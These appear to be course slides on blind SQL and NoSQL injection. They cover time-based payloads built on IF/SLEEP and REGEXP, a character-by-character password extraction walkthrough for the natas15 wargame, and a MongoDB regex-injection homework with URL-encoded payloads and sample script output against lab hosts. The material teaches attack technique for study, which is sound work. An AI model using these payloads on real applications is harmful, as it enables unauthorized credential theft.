A1 (Part 3): Injection
Blind SQL Injection
Blind SQL Injection

SQL injection that tricks databases into reveal information by way of the success or failure of injected queries

Analogous example: Login prompt that stops if username is not valid
   Must have login/password prompts that check for valid pair

Method

   Employ a game of 20 questions
   Use “SLEEP” with conditionals such as IF to reveal success or failure of query
   Utilize support for regular expressions in databases in queries
      MySQL “LIKE” and “REGEXP”
      NoSQL this.match(/^[0-9]$/)
IF in SQL can be used to find out if something is true

```
IF (CONDITION, TRUE_OUTCOME, FALSE_OUTCOME)
```

LIKE in SQL can be used to compare results using wildcards

- `%` matches 0 or more characters
- `_` matches exactly one character

SLEEP in SQL halts the program/server for X seconds

```
IF (password LIKE BINARY "p4ssw0rd", sleep(5), null)
```

if the password is (case sensitive) p4ssw0rd, sleep for 5 seconds. Otherwise, do nothing.
REGEXP in SQL can be used to match a regular expression

Similar to LIKE

AND password REGEXP "^[a-z]"

True if password begins with a lowercase character

Use in conjunction with SLEEP to probe correctness of password guesses

SQL code to add delay if password begins with foo

AND password COLLATE latin1_general_cs REGEXP "^foo" and (SLEEP(5)) AND "1"="1"
SQL – COUNT predicate

‘COUNT(*)’ returns the number of rows

- IF((SELECT COUNT(*) FROM information_schema.columns WHERE table_name = 'users') LIKE X, sleep(5), null)
- If the # of rows from the table information_schema.columns from the table users is X, sleep for 5 seconds. Otherwise do nothing.
SQL Blind Injection example [Time Based]

```
SELECT password, is_admin FROM users WHERE username = 'bob' AND IF(password LIKE BINARY "p4ssw0rd", sleep(5), null) # ';
```

5 seconds before a response

Bob’s password: p4ssw0rd
Example: natas15.natas.labs.overthewire.org

Interface for checking if a user exists

If injectable, can use Blind SQL injection to obtain password

Try:

```
foo
natas16
natas16'
natas16"
natas16" OR "1"="1
natas16"#`
```
Find password for user natas16

/* CREATE TABLE `users` (    `username` varchar(64) DEFAULT NULL,    `password` varchar(64) DEFAULT NULL
); */

if(array_key_exists("username", $_REQUEST)) {
    $query = "SELECT * from users where username=""."$_REQUEST["username"].""";

    $res = mysql_query($query, $link);
    if($res) {
        if(mysql_num_rows($res) > 0) {
            echo "This user exists.<br>
        } else {
            echo "This user doesn't exist.<br>
        }
    } else {
        echo "Error in query.<br>
    }
}
Example: natas15 (simplified)

Search list: [0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz]

Injected username: natas16 AND password REGEXP "^[0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZJKLMNOPQRSTUVWXYZ]
Received: User does not exist

Injected username: natas16 AND password REGEXP "^[VWXYZabcdefghij]
Received: This user exists

Injected username: natas16 AND password REGEXP "^[VWXYZabcde]
Received: This user exists

Injected username: natas16 AND password REGEXP "^[VWX]
Received: This user exists

Injected username: natas16 AND password REGEXP "^[V]
Received: User does not exist

Injected username: natas16 AND password REGEXP "^[W]
Received: This user exists

W
Example: natas15

Search list:  [0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz]

W

Injected username:  natas16 AND password REGEXP "^W[0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz]
Received: User does not exist

Injected username:  natas16 AND password REGEXP "^W[VWXYZabcdefgij]
Received: This user exists

Injected username:  natas16 AND password REGEXP "^W[VWXYZabcd]
Received: This user exists

Injected username:  natas16 AND password REGEXP "^W[VWX]
Received: User does not exist

Injected username:  natas16 AND password REGEXP "^W[YZ]
Received: User does not exist

Injected username:  natas16 AND password REGEXP "^W[a]
Received: This user exists

Wa

Injected username:  natas16 AND password REGEXP "^Wa[0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz]
Received: This user exists
Program #1

Write a program that leverages SQL injection in MongoDB to find the password for account admin

Done via injection into HTTP GET parameter
Use binary search on alpha-numeric characters
Use python requests (Beautiful Soup for parsing)
Program #1

Regexp to match all passwords: \`this.password.match(/^.*/)`

Add MongoDB comment and inject:
```
?search=admin' && this.password.match(/^.*/)\\
```

Then put into URL and URL-encode:
```
http://131.252.220.62/mongodb/example2/?search=admin%27%20%26%20this.password.match(%2F%5e.*%2F)%2F%2F
```

Only match if first char of password is capital letter or digit:
```
http://131.252.220.62/mongodb/example2/?search=admin%27%20%26%20this.password.match(%2F%5e%5bA-Z0-9%5d.*%2F)%2F%2F
```

Only match if first char of password is lowercase letter:
```
http://131.252.220.62/mongodb/example2/?search=admin%27%20%26%20this.password.match(%2F%5e%5ba-z%5d.*%2F)%2F%2F
```
Program #1: Sample output

% python3 MongoDB2.py

http://localhost:8000/mongodb/example2/?search=admin%27%26%26%20this.password.match(/%5B0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ%5D.*/)//+%00  no match.
http://localhost:8000/mongodb/example2/?search=admin%27%26%26%20this.password.match(/%5BVWXYZabcdefghij%5D.*/)//+%00  matched!
http://localhost:8000/mongodb/example2/?search=admin%27%26%26%20this.password.match(/%5BVWXYZabcdefghij%5D.*/)//+%00  no match.
http://localhost:8000/mongodb/example2/?search=admin%27%26%26%20this.password.match(/%5BVWXYZ%5D.*/)//+%00  matched!
http://localhost:8000/mongodb/example2/?search=admin%27%26%26%20this.password.match(/%5BCcdef%5D.*/)//+%00  no match.
http://localhost:8000/mongodb/example2/?search=admin%27%26%26%20this.password.match(/%5Bgh%5D.*/)//+%00  no match.
http://localhost:8000/mongodb/example2/?search=admin%27%26%26%20this.password.match(/%5Bi%5D.*/)//+%00  matched!
current pass: i
http://localhost:8000/mongodb/example2/?search=admin%27%26%26%20this.password.match(/i%5B0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ%5D.*/)//+%00  no match.
http://localhost:8000/mongodb/example2/?search=admin%27%26%26%20this.password.match(/i%5BVWXYZabcdefghij%5D.*/)//+%00  matched!
Questions

• https://sayat.me/wu4f